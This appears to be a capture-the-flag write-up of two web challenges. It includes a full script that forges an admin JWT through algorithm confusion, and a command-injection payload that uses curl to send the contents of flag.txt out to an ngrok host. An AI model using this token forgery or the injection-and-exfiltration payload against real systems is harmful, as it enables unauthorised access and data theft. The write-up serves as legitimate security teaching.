## Baby-web
In this challenge, we need to extract the certificate's content to decrypt it and use it as the `HMAC secret` to create a `JWT` with the `role of admin`
`script`
```python=
import jwt
import requests
import base64
import re
url = "http://chals.bitskrieg.in:3005"
# Load the public key
with open("public-key.crt", "r") as f:
pem_data = f.read()
# Remove the header and footer
pem_body = re.sub(r"-----.*?-----", "", pem_data, flags=re.DOTALL).strip()
# Decode from Base64 to raw bytes (HMAC secret key)
hmac_secret = base64.b64decode(pem_body)
token = jwt.encode(
{"username": "admin", "role": "admin", "iat": 1739171309},
hmac_secret,
algorithm="HS256"
)
forged = f"Bearer {token}"
print("[*] Forged Token:", forged)
response = requests.get(url + "/admin", headers={"Authorization": forged})
print("[*] Server Response:", response.text)
print(hmac_secret)
print(token)
```
Docs : https://portswigger.net/web-security/jwt/algorithm-confusion
## BrokenCode
`source`
```python=
const express = require('express');
const { graphqlHTTP } = require('express-graphql');
const { graphqlUploadExpress, GraphQLUpload } = require('graphql-upload');
const fs = require('fs');
const path = require('path');
const { exec ,execSync} = require('child_process');
const app = express();
const mysql = require('mysql');
require('dotenv').config();
app.use(express.static('public'));
const typeDefs = gql`
scalar Upload
type File {
filename: String!
mimetype: String!
encoding: String!
path: String!
}
type Query {
_empty: String
}
type Mutation {
uploadFile(file: Upload!, filename: String!): File!
}
`;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
const resolvers = {
Upload: GraphQLUpload,
Query: {
_empty: () => 'Hello World',
},
Mutation: {
uploadFile: async (_, { file, filename }) => {
const { createReadStream, mimetype, encoding } = await file;
const filePath = path.join(UPLOAD_DIR, filename);
if (fs.existsSync(filePath)) {
console.log("File Exists")
}
else {
await new Promise((resolve, reject) => {
createReadStream()
.pipe(fs.createWriteStream(filePath))
.on('finish', resolve)
.on('error', reject);
});}
return { filename, mimetype, encoding, path: filePath };
},
},
};
app.use(express.static(path.join(__dirname, 'public')));
console.log(path.join(__dirname, 'public'));
app.get('/', (req, res) => {
res.sendFile(path.join(__dirname, 'public', 'index.html'));
});
server.start().then(() => {
server.applyMiddleware({ app });
app.use('/upload', graphqlHTTP({ resolvers, graphiql: true }));
app.get('/execute', (req, res) => {
const file = req.query.file;
if (!file) {
return res.status(400).send('Missing file parameter');
}
const execPath = path.join(UPLOAD_DIR, file);
exec(`su - rruser -c "node ${execPath}"`, (error, stdout, stderr) => {
if (error) {
try {
execSync(`rm ${execPath}`);
} catch (rmError) {
console.error(`Failed to delete ${execPath}:`, rmError);
}
console.log(error)
return res.status(500).send(`Error`);
}
if (stderr) {
console.log(stderr)
try {
execSync(`rm ${execPath}`);
} catch (rmError) {
console.error(`Failed to delete ${execPath}:`, rmError);
}
return res.status(500).send(`Error`);
}
console.log(stdout);
try {
execSync(`rm ${execPath}`);
} catch (rmError) {
console.error(`Failed to delete ${execPath}:`, rmError);
}
return res.status(200).send(stdout);
});
});
const PORT = 7000;
app.listen(PORT, () => {});
});
```
We can clearly see a command injection vulnerability in the source code.
```python=
exec(`su - rruser -c "node ${execPath}"`...
```
Since the content will not be displayed, we aim to expose it through another channel, specifically `ngrok`.
```
ngrok http {port opening}
```
`final payload`
```
;curl%20https://29ca-2-37-167-108.ngrok-free.app?flag=$(cat%20flag.txt)
```